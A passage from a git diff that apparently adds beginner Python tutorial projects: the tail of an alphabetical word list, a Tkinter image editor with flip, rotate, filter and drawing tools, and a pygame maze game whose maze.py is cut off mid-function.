+bandwagon
+banjo
+base
+basin
+basket
+bath
+bayou
+beautiful
+because
+bed
+bee
+beekeeper
+before
+behaviour
+belief
+bell
+bent
+bernhard
+berry
+between
+bikini
+bird
+birth
+bit
+bite
+bitter
+black
+blade
+blitz
+blizzard
+blood
+blow
+blue
+board
+boat
+body
+boggle
+boiling
+bone
+book
+bookworm
+boot
+bottle
+box
+boxcar
+boxful
+boy
+brain
+brake
+branch
+brass
+bread
+breath
+breytenbach
+brick
+bridge
+bright
+broken
+brother
+brown
+brush
+buckaroo
+bucket
+buffalo
+buffoon
+building
+bulb
+burn
+burst
+business
+but
+butter
+button
+buxom
+buzzard
+buzzing
+buzzwords
+cake
+caliph
+camera
+canvas
+card
+care
+carriage
+cart
+cat
+cause
+certain
+chain
+chalk
+chance
+change
+cheap
+cheese
+chemical
+chest
+chief
+chin
+church
+circle
+clean
+clear
+clock
+cloth
+cloud
+coal
+coat
+cobweb
+cockiness
+cold
+collar
+colour
+comb
+come
+comfort
+committee
+common
+company
+comparison
+competition
+complete
+complex
+condition
+connection
+conscious
+control
+cook
+copper
+copy
+cord
+cork
+cotton
+cough
+country
+cover
+cow
+crack
+credit
+crime
+croquet
+cruel
+crush
+cry
+crypt
+cup
+cup
+curacao
+current
+curtain
+curve
+cushion
+cycle
+daiquiri
+damage
+danger
+dark
+daughter
+day
+dead
+dear
+death
+debt
+decision
+deep
+degree
+delicate
+dependent
+design
+desire
+destruction
+detail
+development
+different
+digestion
+direction
+dirndl
+dirty
+disavow
+discovery
+discussion
+disease
+disgust
+distance
+distribution
+division
+dizzying
+dog
+door
+doubt
+down
+drain
+drawer
+dress
+drink
+driving
+drop
+dry
+duplex
+dust
+dwarves
+ear
+early
+earth
+east
+edge
+education
+effect
+egg
+elastic
+electric
+embezzle
+end
+engine
+enough
+equal
+equip
+error
+espionage
+euouae
+even
+event
+ever
+every
+example
+exchange
+existence
+exodus
+expansion
+experience
+expert
+eye
+face
+fact
+faking
+fall
+false
+family
+far
+farm
+fat
+father
+fear
+feather
+feeble
+feeling
+female
+fertile
+fiction
+field
+fight
+finger
+fire
+first
+fish
+fishhook
+fixable
+fixed
+fjord
+flag
+flame
+flapjack
+flat
+flight
+floor
+flopping
+flower
+fluffiness
+fly
+flyby
+fold
+food
+foolish
+foot
+for
+force
+fork
+form
+forward
+fowl
+foxglove
+frame
+frazzled
+free
+frequent
+friend
+frizzled
+from
+front
+fruit
+fuchsia
+full
+funny
+future
+gabby
+galaxy
+galvanize
+garden
+gazebo
+general
+get
+giaour
+girl
+give
+gizmo
+glass
+glove
+glowworm
+glyph
+gnarly
+gnostic
+goat
+gold
+good
+gossip
+government
+grain
+grass
+great
+green
+grey
+grip
+grogginess
+group
+growth
+guide
+gun
+haiku
+hair
+hammer
+hand
+hanging
+haphazard
+happy
+harbour
+hard
+harmony
+hat
+hate
+have
+head
+healthy
+hear
+hearing
+heart
+heat
+help
+high
+history
+hole
+hollow
+hook
+hope
+horn
+horse
+hospital
+hour
+house
+how
+humour
+hyphen
+iatrogenic
+ice
+icebox
+idea
+ill
+important
+impulse
+increase
+industry
+injury
+ink
+insect
+instrument
+insurance
+interest
+invention
+iron
+island
+ivory
+ivy
+jackpot
+jaundice
+jawbreaker
+jaywalk
+jazziest
+jazzy
+jelly
+jelly
+jewel
+jigsaw
+jinx
+jiujitsu
+jockey
+jogging
+join
+joking
+journey
+jovial
+joyful
+judge
+juicy
+jukebox
+jumbo
+jump
+kayak
+kazoo
+keep
+kettle
+key
+keyhole
+khaki
+kick
+kilobyte
+kind
+kiosk
+kiss
+kitsch
+kiwifruit
+klutz
+knapsack
+knee
+knife
+knot
+knowledge
+land
+language
+larynx
+last
+late
+laugh
+law
+lead
+leaf
+learning
+leather
+left
+leg
+lengths
+let
+letter
+level
+library
+lift
+light
+like
+limit
+line
+linen
+lip
+liquid
+list
+little
+living
+lock
+long
+look
+loose
+loss
+loud
+love
+low
+lucky
+luxury
+lymph
+machine
+make
+male
+man
+manager
+map
+mark
+market
+marquis
+married
+mass
+match
+material
+matrix
+may
+meal
+measure
+meat
+medical
+meeting
+megahertz
+memory
+metal
+microwave
+middle
+military
+milk
+mind
+mine
+minute
+mist
+mixed
+mnemonic
+money
+monkey
+month
+moon
+morning
+mother
+motion
+mountain
+mouth
+move
+much
+muscle
+music
+mystify
+nail
+name
+naphtha
+narrow
+nation
+natural
+near
+necessary
+neck
+need
+needle
+nerve
+net
+new
+news
+night
+nightclub
+noise
+normal
+north
+nose
+not
+note
+now
+nowadays
+number
+numbskull
+nut
+nymph
+observation
+off
+offer
+office
+oil
+old
+only
+onyx
+open
+operation
+opinion
+opposite
+orange
+order
+organization
+ornament
+other
+out
+ovary
+oven
+over
+owner
+oxidize
+oxygen
+page
+pain
+paint
+pajama
+paper
+parallel
+parcel
+part
+past
+paste
+payment
+peace
+peekaboo
+pen
+pencil
+person
+phlegm
+physical
+picture
+pig
+pin
+pipe
+pixel
+pizazz
+place
+plane
+plant
+plate
+play
+please
+pleasure
+plough
+pneumonia
+pocket
+point
+poison
+polish
+political
+polka
+poor
+porter
+position
+possible
+pot
+potato
+powder
+power
+present
+price
+print
+prison
+private
+probable
+process
+produce
+profit
+property
+prose
+protest
+pshaw
+psyche
+public
+pull
+pump
+punishment
+puppy
+purpose
+push
+put
+puzzling
+quality
+quartz
+question
+queue
+quick
+quiet
+quips
+quite
+quixotic
+quiz
+quizzes
+quorum
+rail
+rain
+range
+rat
+rate
+ray
+razzmatazz
+reaction
+reading
+ready
+reason
+receipt
+record
+red
+regret
+regular
+relation
+religion
+representative
+request
+respect
+responsible
+rest
+reward
+rhubarb
+rhythm
+rhythm
+rice
+rickshaw
+right
+ring
+river
+road
+rod
+roll
+roof
+room
+root
+rough
+round
+rub
+rule
+run
+sad
+safe
+sail
+salt
+same
+sand
+say
+scale
+schnapps
+school
+science
+scissors
+scratch
+screw
+sea
+seat
+second
+secret
+secretary
+see
+seed
+seem
+selection
+self
+send
+sense
+separate
+serious
+servant
+sex
+shade
+shake
+shame
+sharp
+sheep
+shelf
+ship
+shirt
+shiv
+shock
+shoe
+short
+shut
+side
+sign
+silk
+silver
+simple
+sister
+size
+skin
+skirt
+sky
+sleep
+slip
+slope
+slow
+small
+smash
+smell
+smile
+smoke
+smooth
+snake
+snazzy
+sneeze
+snow
+soap
+society
+sock
+soft
+solid
+some
+son
+song
+sort
+sound
+soup
+south
+space
+spade
+special
+sphinx
+sponge
+spoon
+spring
+spritz
+square
+squawk
+staff
+stage
+stamp
+star
+start
+statement
+station
+steam
+steel
+stem
+step
+stick
+sticky
+stiff
+still
+stitch
+stocking
+stomach
+stone
+stop
+store
+story
+straight
+strange
+street
+strength
+strengths
+stretch
+stretch
+strong
+stronghold
+structure
+stymied
+substance
+subway
+such
+sudden
+sugar
+suggestion
+summer
+sun
+support
+surprise
+sweet
+swim
+swivel
+syndrome
+system
+table
+tail
+take
+talk
+tall
+taste
+tax
+teaching
+tendency
+test
+than
+that
+the
+then
+theory
+there
+thick
+thin
+thing
+this
+thought
+thread
+thriftless
+throat
+through
+through
+thumb
+thumbscrew
+thunder
+ticket
+tight
+till
+time
+tin
+tired
+toe
+together
+tomorrow
+tongue
+tooth
+top
+topaz
+touch
+town
+trade
+train
+transcript
+transgress
+transplant
+transport
+tray
+tree
+trick
+triphthong
+trouble
+trousers
+true
+turn
+twelfth
+twelfths
+twist
+umbrella
+under
+unit
+unknown
+unworthy
+unzip
+uptown
+use
+value
+vaporize
+verse
+very
+vessel
+view
+violent
+vixen
+vodka
+voice
+voodoo
+vortex
+voyeurism
+waiting
+walk
+walkway
+wall
+waltz
+war
+warm
+wash
+waste
+watch
+water
+wave
+wave
+wavy
+wax
+waxy
+way
+weather
+week
+weight
+well
+wellspring
+west
+wet
+wheel
+wheezy
+when
+where
+while
+whip
+whiskey
+whistle
+white
+whizzing
+who
+whomever
+why
+wide
+will
+wimpy
+wind
+window
+wine
+wing
+winter
+wire
+wise
+witchcraft
+with
+wizard
+woman
+wood
+wool
+woozy
+word
+work
+worm
+wound
+wristwatch
+writing
+wrong
+wyvern
+xylophone
+yachtsman
+year
+yellow
+yes
+yesterday
+yippee
+yoked
+you
+young
+youthful
+yummy
+zephyr
+zigzag
+zigzagging
+zilch
+zipper
+zodiac
+zombie
\ No newline at end of file
diff --git a/gui-programming/image-editor/README.md b/gui-programming/image-editor/README.md
new file mode 100644
index 00000000..235735b5
--- /dev/null
+++ b/gui-programming/image-editor/README.md
@@ -0,0 +1 @@
+# [How to Make an Image Editor in Python](https://www.thepythoncode.com/article/make-an-image-editor-in-tkinter-python)
\ No newline at end of file
diff --git a/gui-programming/image-editor/add.png b/gui-programming/image-editor/add.png
new file mode 100644
index 00000000..b7694b33
Binary files /dev/null and b/gui-programming/image-editor/add.png differ
diff --git a/gui-programming/image-editor/color.png b/gui-programming/image-editor/color.png
new file mode 100644
index 00000000..7cfbc734
Binary files /dev/null and b/gui-programming/image-editor/color.png differ
diff --git a/gui-programming/image-editor/erase.png b/gui-programming/image-editor/erase.png
new file mode 100644
index 00000000..c8bb1d68
Binary files /dev/null and b/gui-programming/image-editor/erase.png differ
diff --git a/gui-programming/image-editor/flip.png b/gui-programming/image-editor/flip.png
new file mode 100644
index 00000000..fc761f82
Binary files /dev/null and b/gui-programming/image-editor/flip.png differ
diff --git a/gui-programming/image-editor/gui-image-editor.py b/gui-programming/image-editor/gui-image-editor.py
new file mode 100644
index 00000000..b0ce2bba
--- /dev/null
+++ b/gui-programming/image-editor/gui-image-editor.py
@@ -0,0 +1,335 @@
+import ttkbootstrap as ttk
+from tkinter import filedialog
+from tkinter.messagebox import showerror, askyesno
+from tkinter import colorchooser
+from PIL import Image, ImageOps, ImageTk, ImageFilter, ImageGrab
+
+
+# defining global variables
+WIDTH = 750
+HEIGHT = 560
+file_path = ""
+pen_size = 3
+pen_color = "black"
+
+
+
+# function to open the image file
+def open_image():
+    global file_path
+    file_path = filedialog.askopenfilename(title="Open Image File", filetypes=[("Image Files", "*.jpg;*.jpeg;*.png;*.gif;*.bmp")])
+    if file_path:
+        global image, photo_image
+        image = Image.open(file_path)
+        new_width = int((WIDTH / 2))
+        image = image.resize((new_width, HEIGHT), Image.LANCZOS)
+            
+        image = ImageTk.PhotoImage(image)
+        canvas.create_image(0, 0, anchor="nw", image=image)
+        
+
+# a global variable for checking the flip state of the image
+is_flipped = False
+
+def flip_image():
+    try:
+        global image, photo_image, is_flipped
+        if not is_flipped:
+            # open the image and flip it left and right
+            image = Image.open(file_path).transpose(Image.FLIP_LEFT_RIGHT)
+            is_flipped = True
+        else:
+            # reset the image to its original state
+            image = Image.open(file_path)
+            is_flipped = False
+        # resize the image to fit the canvas
+        new_width = int((WIDTH / 2))
+        image = image.resize((new_width, HEIGHT), Image.LANCZOS)
+        # convert the PIL image to a Tkinter PhotoImage and display it on the canvas
+        photo_image = ImageTk.PhotoImage(image)
+        canvas.create_image(0, 0, anchor="nw", image=photo_image)
+
+    except:
+        showerror(title='Flip Image Error', message='Please select an image to flip!')
+
+
+# global variable for tracking rotation angle
+rotation_angle = 0
+
+# function for rotating the image
+def rotate_image():
+    try:
+        global image, photo_image, rotation_angle
+        # open the image and rotate it
+        
+        image = Image.open(file_path)
+        new_width = int((WIDTH / 2))
+        image = image.resize((new_width, HEIGHT), Image.LANCZOS)
+        rotated_image = image.rotate(rotation_angle + 90)
+        rotation_angle += 90
+        # reset image if angle is a multiple of 360 degrees
+        if rotation_angle % 360 == 0:
+            rotation_angle = 0
+            image = Image.open(file_path)
+            image = image.resize((new_width, HEIGHT), Image.LANCZOS)
+            rotated_image = image
+        # convert the PIL image to a Tkinter PhotoImage and display it on the canvas
+        photo_image = ImageTk.PhotoImage(rotated_image)
+        canvas.create_image(0, 0, anchor="nw", image=photo_image)
+    
+    except:
+        showerror(title='Rotate Image Error', message='Please select an image to rotate!')
+
+
+
+
+# function for applying filters to the opened image file
+def apply_filter(filter):
+    global image, photo_image
+    try:
+        # check if the image has been flipped or rotated
+        if is_flipped:
+            # flip the original image left and right
+            flipped_image = Image.open(file_path).transpose(Image.FLIP_LEFT_RIGHT)
+            # rotate the flipped image
+            rotated_image = flipped_image.rotate(rotation_angle)
+            # apply the filter to the rotated image
+            if filter == "Black and White":
+                rotated_image = ImageOps.grayscale(rotated_image)
+            elif filter == "Blur":
+                rotated_image = rotated_image.filter(ImageFilter.BLUR)
+            elif filter == "Contour":
+                rotated_image = rotated_image.filter(ImageFilter.CONTOUR)
+            elif filter == "Detail":
+                rotated_image = rotated_image.filter(ImageFilter.DETAIL)
+            elif filter == "Emboss":
+                rotated_image = rotated_image.filter(ImageFilter.EMBOSS)
+            elif filter == "Edge Enhance":
+                rotated_image = rotated_image.filter(ImageFilter.EDGE_ENHANCE)
+            elif filter == "Sharpen":
+                rotated_image = rotated_image.filter(ImageFilter.SHARPEN)
+            elif filter == "Smooth":
+                rotated_image = rotated_image.filter(ImageFilter.SMOOTH)   
+            else:
+                rotated_image = Image.open(file_path).transpose(Image.FLIP_LEFT_RIGHT).rotate(rotation_angle)
+
+        elif rotation_angle != 0:
+            # rotate the original image
+            rotated_image = Image.open(file_path).rotate(rotation_angle)
+            # apply the filter to the rotated image
+            if filter == "Black and White":
+                rotated_image = ImageOps.grayscale(rotated_image)
+                
+            elif filter == "Blur":
+                rotated_image = rotated_image.filter(ImageFilter.BLUR)
+
+            elif filter == "Contour":
+                rotated_image = rotated_image.filter(ImageFilter.CONTOUR)
+
+            elif filter == "Detail":
+                rotated_image = rotated_image.filter(ImageFilter.DETAIL)
+
+            elif filter == "Emboss":
+                rotated_image = rotated_image.filter(ImageFilter.EMBOSS)
+
+            elif filter == "Edge Enhance":
+                rotated_image = rotated_image.filter(ImageFilter.EDGE_ENHANCE)
+
+            elif filter == "Sharpen":
+                rotated_image = rotated_image.filter(ImageFilter.SHARPEN)
+
+            elif filter == "Smooth":
+                rotated_image = rotated_image.filter(ImageFilter.SMOOTH)
+                
+            else:
+                rotated_image = Image.open(file_path).rotate(rotation_angle)
+                
+        else:
+            # apply the filter to the original image
+            image = Image.open(file_path)
+            if filter == "Black and White":
+                image = ImageOps.grayscale(image)
+
+            elif filter == "Blur":
+                image = image.filter(ImageFilter.BLUR)
+
+            elif filter == "Sharpen":
+                image = image.filter(ImageFilter.SHARPEN)
+
+            elif filter == "Smooth":
+                image = image.filter(ImageFilter.SMOOTH)
+
+            elif filter == "Emboss":
+                image = image.filter(ImageFilter.EMBOSS)
+
+            elif filter == "Detail":
+                image = image.filter(ImageFilter.DETAIL)
+
+
+            elif filter == "Edge Enhance":
+                image = image.filter(ImageFilter.EDGE_ENHANCE)
+
+            elif filter == "Contour":
+                image = image.filter(ImageFilter.CONTOUR)
+
+
+            rotated_image = image
+        
+        # resize the rotated/flipped image to fit the canvas
+        new_width = int((WIDTH / 2))
+        rotated_image = rotated_image.resize((new_width, HEIGHT), Image.LANCZOS)
+        # convert the PIL image to a Tkinter PhotoImage and display it on the canvas
+        photo_image = ImageTk.PhotoImage(rotated_image)
+        canvas.create_image(0, 0, anchor="nw", image=photo_image)
+        
+    except:
+        showerror(title='Error', message='Please select an image first!')
+
+
+
+
+# function for drawing lines on the opened image
+def draw(event):
+    global file_path
+    if file_path:
+        x1, y1 = (event.x - pen_size), (event.y - pen_size)
+        x2, y2 = (event.x + pen_size), (event.y + pen_size)
+        canvas.create_oval(x1, y1, x2, y2, fill=pen_color, outline="", width=pen_size, tags="oval")
+
+
+# function for changing the pen color
+def change_color():
+    global pen_color
+    pen_color = colorchooser.askcolor(title="Select Pen Color")[1]
+
+
+
+# function for erasing lines on the opened image
+def erase_lines():
+    global file_path
+    if file_path:
+        canvas.delete("oval")
+
+
+
+
+def save_image():
+    global file_path, is_flipped, rotation_angle
+
+    if file_path:
+        # create a new PIL Image object from the canvas
+        image = ImageGrab.grab(bbox=(canvas.winfo_rootx(), canvas.winfo_rooty(), canvas.winfo_rootx() + canvas.winfo_width(), canvas.winfo_rooty() + canvas.winfo_height()))
+
+        # check if the image has been flipped or rotated
+        if is_flipped or rotation_angle % 360 != 0:
+            # Resize and rotate the image
+            new_width = int((WIDTH / 2))
+            image = image.resize((new_width, HEIGHT), Image.LANCZOS)
+            if is_flipped:
+                image = image.transpose(Image.FLIP_LEFT_RIGHT)
+            if rotation_angle % 360 != 0:
+                image = image.rotate(rotation_angle)
+
+            # update the file path to include the modifications in the file name
+            file_path = file_path.split(".")[0] + "_mod.jpg"
+
+        # apply any filters to the image before saving
+        filter = filter_combobox.get()
+        if filter:
+            if filter == "Black and White":
+                image = ImageOps.grayscale(image)
+
+            elif filter == "Blur":
+                image = image.filter(ImageFilter.BLUR)
+
+            elif filter == "Sharpen":
+                image = image.filter(ImageFilter.SHARPEN)
+
+            elif filter == "Smooth":
+                image = image.filter(ImageFilter.SMOOTH)
+
+            elif filter == "Emboss":
+                image = image.filter(ImageFilter.EMBOSS)
+
+            elif filter == "Detail":
+                image = image.filter(ImageFilter.DETAIL)
+
+            elif filter == "Edge Enhance":
+                image = image.filter(ImageFilter.EDGE_ENHANCE)
+                
+            elif filter == "Contour":
+                image = image.filter(ImageFilter.CONTOUR)
+
+            # update the file path to include the filter in the file name
+            file_path = file_path.split(".")[0] + "_" + filter.lower().replace(" ", "_") + ".jpg"
+
+        # open file dialog to select save location and file type
+        file_path = filedialog.asksaveasfilename(defaultextension=".jpg")
+
+        if file_path:
+            if askyesno(title='Save Image', message='Do you want to save this image?'):
+                # save the image to a file
+                image.save(file_path)
+
+
+
+
+root = ttk.Window(themename="cosmo")
+root.title("Image Editor")
+root.geometry("510x580+300+110")
+root.resizable(0, 0)
+icon = ttk.PhotoImage(file='icon.png')
+root.iconphoto(False, icon)
+
+# the left frame to contain the 4 buttons
+left_frame = ttk.Frame(root, width=200, height=600)
+left_frame.pack(side="left", fill="y")
+
+# the right canvas for displaying the image
+canvas = ttk.Canvas(root, width=WIDTH, height=HEIGHT)
+canvas.pack()
+# binding the Canvas to the B1-Motion event
+canvas.bind("<B1-Motion>", draw)
+
+# label
+filter_label = ttk.Label(left_frame, text="Select Filter:", background="white")
+filter_label.pack(padx=0, pady=2)
+
+# a list of filters
+image_filters = ["Contour", "Black and White", "Blur", "Detail", "Emboss", "Edge Enhance", "Sharpen", "Smooth"]
+
+# combobox for the filters
+filter_combobox = ttk.Combobox(left_frame, values=image_filters, width=15)
+filter_combobox.pack(padx=10, pady=5)
+
+# binding the apply_filter function to the combobox
+filter_combobox.bind("<<ComboboxSelected>>", lambda event: apply_filter(filter_combobox.get()))
+
+# loading the icons for the 4 buttons
+image_icon = ttk.PhotoImage(file = 'add.png').subsample(12, 12)
+flip_icon = ttk.PhotoImage(file = 'flip.png').subsample(12, 12)
+rotate_icon = ttk.PhotoImage(file = 'rotate.png').subsample(12, 12)
+color_icon = ttk.PhotoImage(file = 'color.png').subsample(12, 12)
+erase_icon = ttk.PhotoImage(file = 'erase.png').subsample(12, 12)
+save_icon = ttk.PhotoImage(file = 'saved.png').subsample(12, 12)
+
+# button for adding/opening the image file
+image_button = ttk.Button(left_frame, image=image_icon, bootstyle="light", command=open_image)
+image_button.pack(pady=5)
+# button for flipping the image file
+flip_button = ttk.Button(left_frame, image=flip_icon, bootstyle="light", command=flip_image)
+flip_button.pack(pady=5)
+# button for rotating the image file
+rotate_button = ttk.Button(left_frame, image=rotate_icon, bootstyle="light", command=rotate_image)
+rotate_button.pack(pady=5)
+# button for choosing pen color
+color_button = ttk.Button(left_frame, image=color_icon, bootstyle="light", command=change_color)
+color_button.pack(pady=5)
+# button for erasing the lines drawn over the image file
+erase_button = ttk.Button(left_frame, image=erase_icon, bootstyle="light", command=erase_lines)
+erase_button.pack(pady=5)
+# button for saving the image file
+save_button = ttk.Button(left_frame, image=save_icon, bootstyle="light", command=save_image)
+save_button.pack(pady=5)
+
+root.mainloop()
diff --git a/gui-programming/image-editor/icon.png b/gui-programming/image-editor/icon.png
new file mode 100644
index 00000000..98bbcc10
Binary files /dev/null and b/gui-programming/image-editor/icon.png differ
diff --git a/gui-programming/image-editor/requirements.txt b/gui-programming/image-editor/requirements.txt
new file mode 100644
index 00000000..95853d43
--- /dev/null
+++ b/gui-programming/image-editor/requirements.txt
@@ -0,0 +1,2 @@
+pillow
+ttkbootstrap
diff --git a/gui-programming/image-editor/rotate.png b/gui-programming/image-editor/rotate.png
new file mode 100644
index 00000000..1e0dec7a
Binary files /dev/null and b/gui-programming/image-editor/rotate.png differ
diff --git a/gui-programming/image-editor/saved.png b/gui-programming/image-editor/saved.png
new file mode 100644
index 00000000..4ebeca50
Binary files /dev/null and b/gui-programming/image-editor/saved.png differ
diff --git a/gui-programming/image-editor/test.jpg b/gui-programming/image-editor/test.jpg
new file mode 100644
index 00000000..ffc753c7
Binary files /dev/null and b/gui-programming/image-editor/test.jpg differ
diff --git a/gui-programming/maze-game/README.md b/gui-programming/maze-game/README.md
new file mode 100644
index 00000000..5c6a2cd8
--- /dev/null
+++ b/gui-programming/maze-game/README.md
@@ -0,0 +1 @@
+# [How to Make a Maze Game in Python](https://www.thepythoncode.com/article/build-a-maze-game-in-python)
\ No newline at end of file
diff --git a/gui-programming/maze-game/cell.py b/gui-programming/maze-game/cell.py
new file mode 100644
index 00000000..5cbf4963
--- /dev/null
+++ b/gui-programming/maze-game/cell.py
@@ -0,0 +1,45 @@
+import pygame
+from random import choice
+
+class Cell:
+	def __init__(self, x, y, thickness):
+		self.x, self.y = x, y
+		self.thickness = thickness
+		self.walls = {'top': True, 'right': True, 'bottom': True, 'left': True}
+		self.visited = False
+
+	# draw grid cell walls
+	def draw(self, sc, tile):
+		x, y = self.x * tile, self.y * tile
+		if self.walls['top']:
+			pygame.draw.line(sc, pygame.Color('darkgreen'), (x, y), (x + tile, y), self.thickness)
+		if self.walls['right']:
+			pygame.draw.line(sc, pygame.Color('darkgreen'), (x + tile, y), (x + tile, y + tile), self.thickness)
+		if self.walls['bottom']:
+			pygame.draw.line(sc, pygame.Color('darkgreen'), (x + tile, y + tile), (x , y + tile), self.thickness)
+		if self.walls['left']:
+			pygame.draw.line(sc, pygame.Color('darkgreen'), (x, y + tile), (x, y), self.thickness)
+
+	# checks if cell does exist and returns it if it does
+	def check_cell(self, x, y, cols, rows, grid_cells):
+		find_index = lambda x, y: x + y * cols
+		if x < 0 or x > cols - 1 or y < 0 or y > rows - 1:
+			return False
+		return grid_cells[find_index(x, y)]
+
+	# checking cell neighbors of current cell if visited (carved) or not
+	def check_neighbors(self, cols, rows, grid_cells):
+		neighbors = []
+		top = self.check_cell(self.x, self.y - 1, cols, rows, grid_cells)
+		right = self.check_cell(self.x + 1, self.y, cols, rows, grid_cells)
+		bottom = self.check_cell(self.x, self.y + 1, cols, rows, grid_cells)
+		left = self.check_cell(self.x - 1, self.y, cols, rows, grid_cells)
+		if top and not top.visited:
+			neighbors.append(top)
+		if right and not right.visited:
+			neighbors.append(right)
+		if bottom and not bottom.visited:
+			neighbors.append(bottom)
+		if left and not left.visited:
+			neighbors.append(left)
+		return choice(neighbors) if neighbors else False
diff --git a/gui-programming/maze-game/clock.py b/gui-programming/maze-game/clock.py
new file mode 100644
index 00000000..1686aa7f
--- /dev/null
+++ b/gui-programming/maze-game/clock.py
@@ -0,0 +1,30 @@
+import pygame, time
+
+pygame.font.init()
+
+class Clock:
+	def __init__(self):
+		self.start_time = None
+		self.elapsed_time = 0
+		self.font = pygame.font.SysFont("monospace", 35)
+		self.message_color = pygame.Color("yellow")
+
+	# Start the timer
+	def start_timer(self):
+		self.start_time = time.time()
+
+	# Update the timer
+	def update_timer(self):
+		if self.start_time is not None:
+			self.elapsed_time = time.time() - self.start_time
+
+	# Display the timer
+	def display_timer(self):
+		secs = int(self.elapsed_time % 60)
+		mins = int(self.elapsed_time / 60)
+		my_time = self.font.render(f"{mins:02}:{secs:02}", True, self.message_color)
+		return my_time
+
+	# Stop the timer
+	def stop_timer(self):
+		self.start_time = None
diff --git a/gui-programming/maze-game/game.py b/gui-programming/maze-game/game.py
new file mode 100644
index 00000000..13815ad5
--- /dev/null
+++ b/gui-programming/maze-game/game.py
@@ -0,0 +1,31 @@
+import pygame
+
+pygame.font.init()
+
+class Game:
+	def __init__(self, goal_cell, tile):
+		self.font = pygame.font.SysFont("impact", 35)
+		self.message_color = pygame.Color("darkorange")
+		self.goal_cell = goal_cell
+		self.tile = tile
+
+	# add goal point for player to reach
+	def add_goal_point(self, screen):
+		# adding gate for the goal point
+		img_path = 'img/gate.png'
+		img = pygame.image.load(img_path)
+		img = pygame.transform.scale(img, (self.tile, self.tile))
+		screen.blit(img, (self.goal_cell.x * self.tile, self.goal_cell.y * self.tile))
+
+	# winning message
+	def message(self):
+		msg = self.font.render('You Win!!', True, self.message_color)
+		return msg
+
+	# checks if player reached the goal point
+	def is_game_over(self, player):
+		goal_cell_abs_x, goal_cell_abs_y = self.goal_cell.x * self.tile, self.goal_cell.y * self.tile
+		if player.x >= goal_cell_abs_x and player.y >= goal_cell_abs_y:
+			return True
+		else:
+			return False
\ No newline at end of file
diff --git a/gui-programming/maze-game/img/gate.png b/gui-programming/maze-game/img/gate.png
new file mode 100644
index 00000000..c088b640
Binary files /dev/null and b/gui-programming/maze-game/img/gate.png differ
diff --git a/gui-programming/maze-game/main.py b/gui-programming/maze-game/main.py
new file mode 100644
index 00000000..8ef89a63
--- /dev/null
+++ b/gui-programming/maze-game/main.py
@@ -0,0 +1,114 @@
+import pygame, sys
+from maze import Maze
+from player import Player
+from game import Game
+from clock import Clock
+
+pygame.init()
+pygame.font.init()
+
+class Main():
+	def __init__(self, screen):
+		self.screen = screen
+		self.font = pygame.font.SysFont("impact", 30)
+		self.message_color = pygame.Color("cyan")
+		self.running = True
+		self.game_over = False
+		self.FPS = pygame.time.Clock()
+
+	def instructions(self):
+		instructions1 = self.font.render('Use', True, self.message_color)
+		instructions2 = self.font.render('Arrow Keys', True, self.message_color)
+		instructions3 = self.font.render('to Move', True, self.message_color)
+		self.screen.blit(instructions1,(655,300))
+		self.screen.blit(instructions2,(610,331))
+		self.screen.blit(instructions3,(630,362))
+
+	# draws all configs; maze, player, instructions, and time
+	def _draw(self, maze, tile, player, game, clock):
+		# draw maze
+		[cell.draw(self.screen, tile) for cell in maze.grid_cells]
+
+		# add a goal point to reach
+		game.add_goal_point(self.screen)
+
+		# draw every player movement
+		player.draw(self.screen)
+		player.update()
+		
+		# instructions, clock, winning message
+		self.instructions()
+		if self.game_over:
+			clock.stop_timer()
+			self.screen.blit(game.message(),(610,120))
+		else:
+			clock.update_timer()
+		self.screen.blit(clock.display_timer(), (625,200))
+	
+		pygame.display.flip()
+
+	# main game loop
+	def main(self, frame_size, tile):
+		cols, rows = frame_size[0] // tile, frame_size[-1] // tile
+		maze = Maze(cols, rows)
+		game = Game(maze.grid_cells[-1], tile)
+		player = Player(tile // 3, tile // 3)
+		clock = Clock()
+
+		maze.generate_maze()
+		clock.start_timer()
+		while self.running:
+			self.screen.fill("gray")
+			self.screen.fill( pygame.Color("darkslategray"), (603, 0, 752, 752))
+
+			for event in pygame.event.get():
+				if event.type == pygame.QUIT:
+					pygame.quit()
+					sys.exit()
+
+			# if keys were pressed still
+			if event.type == pygame.KEYDOWN:
+				if not self.game_over:
+					if event.key == pygame.K_LEFT:
+						player.left_pressed = True
+					if event.key == pygame.K_RIGHT:
+						player.right_pressed = True
+					if event.key == pygame.K_UP:
+						player.up_pressed = True
+					if event.key == pygame.K_DOWN:
+						player.down_pressed = True
+					player.check_move(tile, maze.grid_cells, maze.thickness)
+		
+			# if pressed key released
+			if event.type == pygame.KEYUP:
+				if not self.game_over:
+					if event.key == pygame.K_LEFT:
+						player.left_pressed = False
+					if event.key == pygame.K_RIGHT:
+						player.right_pressed = False
+					if event.key == pygame.K_UP:
+						player.up_pressed = False
+					if event.key == pygame.K_DOWN:
+						player.down_pressed = False
+					player.check_move(tile, maze.grid_cells, maze.thickness)
+
+			if game.is_game_over(player):
+				self.game_over = True
+				player.left_pressed = False
+				player.right_pressed = False
+				player.up_pressed = False
+				player.down_pressed = False
+
+			self._draw(maze, tile, player, game, clock)
+			self.FPS.tick(60)
+
+
+if __name__ == "__main__":
+	window_size = (602, 602)
+	screen = (window_size[0] + 150, window_size[-1])
+	tile_size = 30
+	screen = pygame.display.set_mode(screen)
+	pygame.display.set_caption("Maze")
+
+	game = Main(screen)
+	game.main(window_size, tile_size)
diff --git a/gui-programming/maze-game/maze.py b/gui-programming/maze-game/maze.py
new file mode 100644
index 00000000..69384699
--- /dev/null
+++ b/gui-programming/maze-game/maze.py
@@ -0,0 +1,44 @@
+import pygame
+from cell import Cell
+
+class Maze:
+	def __init__(self, cols, rows):
+		self.cols = cols
+		self.rows = rows
+		self.thickness = 4
+		self.grid_cells = [Cell(col, row, self.thickness) for row in range(self.rows) for col in range(self.cols)]
+
+	# carve grid cell walls
+	def remove_walls(self, current, next):
+		dx = current.x - next.x
+		if dx == 1:
+			current.walls['left'] = False
+			next.walls['right'] = False
+		elif dx == -1:
+			current.walls['right'] = False
+			next.walls['left'] = False
+		dy = current.y - next.y
+		if dy == 1:
+			current.walls['top'] = False
+			next.walls['bottom'] = False
+		elif dy == -1:
+			current.walls['bottom'] = False
+			next.walls['top'] = False
+
+	# generates maze
+	def generate_maze(self):
+		current_cell = self.grid_cells[0]
+		array = []
+		break_count = 1
+		while break_count != len(self.grid_cells):
+			current_cell.visited = True
+			next_cell = current_cell.check_neighbors(self.cols, self.rows, self.grid_cells)
+			if next_cell:
+				next_cell.visited = True
+				break_count += 1
+				array.append(current_cell)
+				self.remove_walls(current_cell, next_cell)
+				current_cell = next_cell
+			elif array:
+				current_cell = array.pop()
